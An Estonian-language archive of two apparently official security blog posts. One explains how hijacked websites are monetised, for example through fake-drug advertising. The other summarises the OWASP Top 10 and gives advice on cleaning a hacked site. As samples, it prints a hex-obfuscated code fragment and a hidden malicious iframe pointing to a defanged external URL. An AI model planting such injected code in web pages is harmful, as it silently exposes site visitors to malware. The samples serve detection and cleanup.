Tag Archives: veebide turvalisus

(Taas kord) veebilehtede ülevõtmisest

why-my-website-sells-viagra-1-728

(Allikas: http://www.slideshare.net/armeda/wp-endusersecurity)

Anto Veldre, RIA analüütik

Tänapäeval on info jagamine ja kodulehe asutamine muutunud erakordselt lihtsaks. Sead kusagil interneti ääres üles serveri (või suisa koduarvuti), paigaldad sellele veebiserveerimise tarkvara, näiteks tasuta saadaoleva WordPressi või Joomla ning maailmale infojagamise punkt ongi loodud. RIA on veebiserverite turvalisuse teemal mitu korda nõu jaganud.

Asja pahupoolelt – tänapäeva elutempo juures muutub tarkvara turva-auklikuks juba mõne kuuga. Ning kui jätta kodulehe mootor uuendamata ja unustusse, siis statistiliselt umbes kolme kuu pärast tulevad pahad poisid ja murravad kodulehele sisse.

Küsimus, mida sageli küsitakse, et miks just minu koduleht? Sissemurdmine käib tegelikult automaatselt, ründeskripti abil. Tegelikult on pättidel ükskõik, kuhu täpselt sisse saadakse. Peaasi, et mõni koduleht oleks sissemurtav ja et keegi teine maksaks elektri ja võrguühenduse eest.

Pättidel vaja nüüd teha otsus, mida ülevõetud serveriga peale hakata – kuidas panna see raha teenima.

Valikuid on mitmeid:

  1. Kui on väga kiire server, panna see BitCoin’i arvutama.
  2. levitada poliitilist meemi.
  3. levitada pahavara (a.k.a. arvutiviirust). Arvutiviirustega teenib palju, aga rajalt maha võetakse ka kiiresti.
  4. müüa võlts-Viagrat. Isik, kel ihuliikmed ei liigu nagu vaja, ja kes valehäbist kardab arstile minna, sisestabki sinna oma krediitkaardi numbrid. Kui hästi läheb, saab ta postiga jahutablette, kui halvasti, siis kuritarvitatakse ka isiku krediitkaarti. Kui läheb VÄGA halvasti ning libaravim sisaldabki rotimürki, võib naiivitar kaotada elu.
  5. lapsporno. Enamik pätte on normaalse orientatsiooniga ega salli säärast kraami silmaotsaski, kuid on ka juhtumeid, kus kooli kodulehest tehakse “sihukeste” piltide levituskoht.
  6. SEO. Veebileht pannakse tegelikku levituskohta üles kiitma.

Kui küberkurjamite muud rahateenimisviisid on Eesti avalikkusele aja jooksul enam-vähem lahti selgitatud, siis võlts-ravimite müügist on seni räägitud pisut vähem.

Äriskeem on iseenesest päris lihtne. Keegi kusagil (üldsegi mitte Eestis) vorbib oma kuuris tablette. Enamasti pole tableti farmakoloogiline sisu üldse see, mis pakendil kirjas – kas on kraam lahjem või suisa platseebo. Selline võltsravimiäri aga vajab reklaami – kust muidu ikka kliente saada?!

Rove Digitali ehk nn DNS Changer’i juhtumis selgus ka, kuidas täpselt kodukasutajate arvuteid pahavaraga üle võetakse. Pahavara asendab kasutaja ekraanil nn seadusliku reklaami mitu taset hämaramate teenuste (sealhulgas võlts-Viagra) reklaamiga.

Küsimus nüüd selles, et kas Eesti elanik on ohustatud. Kuigi võlts-Viagrat serveeritakse vahel ka Eesti kodulehtedel, ei tähenda see veel, et libatabletid jõuaksid Eestisse – toll tõkestab säärast kaubandust väga efektiivselt. Veebis aga pole vahet, kus riigis reklaam asub – Eestis paiknevat “müügisaiti” kasutatakse enamjaolt hoopis muude riikide kodanike peal.

Seega, kui keegi avastab mõnest Eestiga seotud serverist võltsravimite reklaami, siis kõige targem on sellest teada anda kodulehe omanikule ning CERT-EE‘le, kes siis suhtleb internetiteenuse pakkujatega ning laseb sissemurtud kodulehe kiiresti välja ravida. Ühtlasi tuleks alati informeerida politseid (sest kui ise avaldust ei kirjuta, siis ei saa nemad pätte püüda!).

Võib pikalt vaielda selle üle, milline kodulehe ärakurvitamise viis on omanikule kõige ohutum. Kriminaalasi võib kaela tulla iga kuritarvitusviisiga. Mistõttu, kui olete kord juba kodulehe üles pannud, tuleks selle eest ka korralikult hoolitseda, installeerida turvapaikasid ja monitoorida kasutuslogisid. Kui ise ei oska, saab seda teenust osta mõnelt veebifirmalt.

OWASP – ega ometi o-herilane?

Näide ühe .ee veebilehe näotustamiseks kasutatud pildist

CERT-EE infoturbe ekspert Triin Nigul tuletab veebilehtede arendajatele, haldajatele ja omanikele meelde, et veebide turvalisuse tõstmiseks pole vaja jalgratast leiutada.

Viimasel ajal meedias ohtralt kajastust leidnud andmelekete valguses on õige aeg kõnelda internetiturvalisusest veidi teise nurga alt kui tavalise arvutikasutaja vaatevinklist. Peaasjalikult räägin siin kirjutises veebilehtede turvalisusest. Nagu paljudes teisteski valdkondades, ei ole siingi põhjust hakata jalgratast leiutama. OWASP (Open Web Application Security Project) peaks olema tuntud igale (veebi)arendajale ja -haldajale, sest tegemist on üleilmselt tuntud ja tunnustatud (mittetulundusliku) organisatsiooniga. Teiste kiiduväärt, tarkvara turvalisust edendavate tegevuste seas peab OWASP nimekirja veebirakenduste kasutamisega seotud kümnest suuremast turvaohust. Alljärgnevalt lähemalt.

A1 – Süstimisrünne (ka süst, Injection)
Süstimisnõrkused (nt SQL injection) esinevad, kui käsku või päringut on võimalik pahaloomuliselt täiendada. Ründaja lisatud sisu võib sundida käivitama soovimatuid käske või võimaldada volitamata ligipääsu andmetele.

A2 – Autentimis- ja sessioonihalduse vead (Broken Authentication and Session Management)
Autentimis- ja sessioonihaldus ei ole sageli korralikult rakendatud, võimaldades ründajatel näpata salasõnu, võtmeid või sessioonitunnuseid, või rakendusvigu konfidentsiaalsete andmete teadasaamiseks ära kasutada.

A3 – Murdskriptimine (Cross-Site Scripting – XSS)
XSS vead esinevad juhul, kui rakendus kuvab veebilehitsejas infot ilma korraliku valideerimise või tagasilükkamiseta. XSS vead lasevad ründajatel ohvri veebilehitsejas käivitada skripte, mis võimaldavad kasutajasessioone üle võtta, veebilehti näotustada või kasutaja pahaloomulisele veebilehele ümber suunata.

A4 – Objektide ebaturvaline otseviitamine (Insecure Direct Object References)
Objekti otseviitamine esineb, kui arendaja jätab avalikuks viite mõnele sisemisele rakendusdokumendile, nagu fail, kaust või andmebaasi võti. Ilma ligipääsukontrolli või muu tõkketa võivad ründajad neid viiteid töödeldes andmetele volitamata ligi pääseda.

A5 – Vigased turvaseaded (Security Misconfiguration)
Heatasemeline turvalisus nõuab turvalise seadistuse määratlemist, paigaldamist ja haldamist nii rakenduses, raamistikus, platvormis, rakendus-, veebi- ja andmebaasiserveris. Vaikimisi seaded on tihti ebaturvalised.
Veebisaitidel kasutatakse mitmesugust esitlus- jm tarkvara. Kui tarkvara on kehvasti seadistatud või uuendamata, võib süsteemile ligi saada turvaauke ära kasutades. Tarkvara pidev uuendamine on kohustuslik.

A6 – Tundliku info kaitseta jätmine (Sensitive Data Exposure)
Paljud veebirakendused ei kaitse tundlikku infot, nagu krediitkaardi- ja autentimisandmeid, piisavalt. Ründajad võivad kehvasti kaitstud andmeid omastades toime panna krediitkaardipettusi, identiteedivargusi või teisi kuritegusid. Tundlikud andmed nõuavad erilist kaitset, näiteks krüptimist andmete säilitamisel või edastamisel, ning erimeetmeid andmevahetusel veebilehitsejas.

A7 – Puuduv pääsukontroll funktsionaalsuse tasemel (Missing Function Level Access Control)
Paljud veebirakendused kontrollivad enne funktsionaalsuse näitamist veebilehitsejas ligipääsuõigusi. Siiski tuleks samasugune kontroll teha ka serveris. Kui pöördumisi ei kontrollita, võivad ründajad neid võltsides funktsionaalsusele volitamata ligi pääseda.

A8 – Päringu murdvõltsimine (Cross-Site Request Forgery – CSRF)
CSRF rünne sunnib sisseloginud ohvri veebilehitsejat auklikule veebirakendusele võltsitud http-päringut saatma, liites sellele ohvri sessiooniküpsise ja muu automaatselt lisatava autentimisinfo. See lubab ründajal ohvri veebilehitsejas luua päringuid, mille haavatav rakendus õigeks tunnistab.

A9 – Teadaolevalt auklike komponentide kasutamine (Using Components with Known Vulnerabilities)
Tarkvarakomponendid, nagu teegid ja raamistikud, vajavad töötamiseks täisõigusi. Auklikku komponenti ära kasutades võib rünne lõppeda tõsise andmekao või serveri ülevõtmisega. Rakendused, kus kasutatakse auklikke komponente, võivad nõrgendada rakenduse kaitsemeetmeid ja võimaldada erinevaid ründeid.

A10 – Kontrollimata ümbersuunamised ja edastamised (Unvalidated Redirects and Forwards)
Veebirakendused suunavad kasutajaid tihti teistele lehtedele või veebisaitidele, ning kasutavad kontrollimata infot sihtlehtede kindlaksmääramiseks. Ilma korraliku kontrollita võivad ründajad suunata ohvrid õngitsus- või pahavarasaitidele, või kasutada edastamisi volitamata ligipääsuks. Viimasel juhul on haäkitud saidi põhifunktsioon heausksed külastajad pahaloomulistele veebisaitidele läkitada.

Mida tasuks veebihalduse puhul veel tähele panna:

Kasutajatunnuste ja salasõnade turvasoovitused kehtivad ka administraatoritele:

  • Salasõnast on kasu, kui see on pikk, mitmekesine ja kordumatu.
  • Hästi jääb meelde mõnest fraasist tuletatud parool.
  • Salasõnade rist- või ühiskasutus on kurjast.
  • Vajadusel tuleks kasutada mõnda paroolide hoidmise tarkvahendit.

Enamik ründajatest proovib standardse “admin” kasutajatunnuse järele jõurünnet (brute force’i) ehk salasõna või krüptovõtme mõistatamist kõigi (sõnastikus leiduvate) variantide läbiproovimise teel.

Kui veebilehe administraatori arvutis pesitseb pahavara, mis kuulub klahvikuulaja (keylogger) või mõnda muud sorti salasõnanäppajate hulka, pole ka tugevast salasõnast kasu – kogu sisestatav info võidakse üles korjata ja pahalastele edastada. Haldusarvutisse peab olema installitud viirusetõrje, mida tuleb hoida ajakohasena.

Mis puudutab veebilehe kasutajate salasõnade hoidmist, siis kui aabitsatõde “paroole ei hoita lahtise tekstina” on juba kenasti rakendatud, võiks salasõnade räsidele lisada pisut “soola” (nt numbreid), ning tulemused omakorda krüpteerida.

Veebiserver ei pea käima administraatori õigustes. Miks? Sellest oleneb, missugused õigused saab ründaja pärast õnnestunud tegu.

Enamik saite saavad pihta automaatsete tööriistade abil – iga saidi jaoks ei jagu käsitöölisest häkkerit. Ründajad korduvkasutavad avalikult kättesaadavaid, isegi aastatevanuseid haavatavusi. Häkitud veebilehed on tavaliselt vigased rohkem kui ühel viisil. Mitte midagi head ei tõota näiteks kombinatsioon kehvasti konfitud süsteemist, mida pole alates paigaldamisest uuendatud, nigelatest salasõnadest ning säästumajutusteenusest. Ei maksa eeldada, et turvalisuse eest vastutab vaid veebimajutaja, eriti kui veebilehe omanik installib ise sisuhaldustarkvara nagu WordPress, Joomla!, Drupal või ka juhul, kui see on veebimajutaja paigaldatud. Samas – kui veebisaiti hallatakse järjepidevalt ja vastutustundlikult, ei peaks saidiomanik ülearu muretsema. Kui veebilehe turbe haldus käib ikkagi üle jõu, tuleks sõlmida leping vastava teenusepakkujaga. Ootamatute ebameeldivuste tarbeks tasub värske varukoopia (varundada vähemalt 1 x kuus) siiski käepärast hoida.

Sissemurdmiskahtluse korral leiab internetist mitmeid tööriistu, mida veebilehe kiirtestimiseks kasutada:
http://urlquery.net
http://sitecheck.sucuri.net/
http://wepawet.iseclab.org/
http://ddecode.com/phpdecoder/
https://www.virustotal.com/et/#url
http://safebrowsing.clients.google.com/safebrowsing/diagnostic?site=ria.ee
(domeeninimi asendada sobivaga)

NB! Viidatud tööriistad sobivad vaid kahtlusele kinnituse saamiseks ning info kiireks hankimiseks, mitte info ümberlükkamiseks. Teiseks, häkkerite lisatud koodirea või alamlehe kustutamisest tavaliselt ei piisa probleemi lahendamiseks. Vastasel juhul kuritarvitatakse saiti õige pea uuesti ja kurjemini. Kui saidiomanik ei halda oma veebisaiti ise, tuleb probleemist kohe teavitada veebihaldurit. Vajalikuks võib osutuda veebilehe ajutine mahavõtmine internetist. Probleemi taaskordumise vältimiseks tuleb kontrollida, ega kuhugi pole loodud tagaust ning uuendada veebiserveri, sisuhaldus- ja esitlustarkvara. Vahetada tuleb saidi haldamiseks kastutavad paroolid ning viirusetõrjega üle kontrollida haldamiseks kasutatavad arvutid.

Tavaliselt on nn tagauks mahult väike ning peidetud lõdvemate kasutajaõigustega jaotistesse nagu /images. Tagaukse ülesleidmisel ja äratundmisel võib abiks olla süvenemine failinimedesse- ja asukohta, failide muutmise kuupäevadesse, ligipääsuõigustesse ning sisusse. Ja nagu infoturbeintsidentide puhul ikka, ei saa üle ega ümber logide analüüsist.

Sisuhaldustarkvara häki puhul istutatakse pahakood tavaliselt kas veebilehe algusesse või lõppu, kuid see pole reegel. Iframe on mõne dokumendi või teise veebilehe sisu kuvamist võimaldav „raam“ veebilehe sees – pahatahtlust võib iframe puhul tavaliselt näidata kirjeldus „hidden“, see on aga koodist otse välja loetav vaid siis, kui pole kasutatud obfuskeerimist. Tükike sogastatud koodist:
7:22:17:2a:2d:27:27:27:27:27:21:29:2b:21:65:3b:58:70:6a:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:17:34:17:5a:66:66:62:60:5c:45:58:64:5c:22:19:34:19:22:5c:6a:5a:58:67:5c:1f:5a:66:66:62:60:5c:4d:58:63:6c:5c:20:4:1:17:22:17:19:32:5c:6f:67:60:69:5c:6a:34:19:17:22:17:5c:6f:67:60:69:5c:25:6b:66:3e:44:4b:4a:6b:69:60:65:5e:1f:20:17:22:17:1f:1f:67:58:6b:5f:20:17:36:17:19:32:17:67:58:6b:5f:34:19:17:22:17:67:58:6b:5f:17:31:17:19:19:20:32:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:3e:5c:6b:3a:66:66:62:60:5c:1f:17:65:58:64:5c:17:20:

Näide pahaloomulisest iframe’ist veebilehe lõpus:
</html><iframe src=”hXXp://www.rachedsarkis.com/counter.php” style=”visibility: hidden; position: absolute; left: 0px; top: 0px” width=”10″ height=”10″/>

Rämpspost on kõigile tuttav nähtus, kuid paljud ei tea, et näiteks (võlts)ravimimüük käib ka veebisaitide kaudu. Kui saidiomanikule salaäri jääbki nähtamatuks, leiavad selle üles otsimootorid. Isegi kui rämpsposti saatmine veebisaiti üle ei koorma, tekib oht, et sait lisatakse Google’i või mõne teise otsimootori musta nimekirja, mis pahavaraga nakatunud saidi puhul juhtub niikuinii varem või hiljem.

Nõu ja abi saab näiteks:
https://www.stopbadware.org/webmaster-help
http://blog.aw-snap.info/

Google’i juhend juhuks, kui sait peaks sattuma Google’i musta nimekirja:
https://support.google.com/webmasters/answer/163633? hl=en&topic=2365140&ctx=topic

Google’i musta nimekirja sattumise puhuks peaks sait olema n-ö omaks tunnistatud, selleks tuleb läbida protsess, mis on kirjeldatud aadressil
https://support.google.com/webmasters/answer/34592.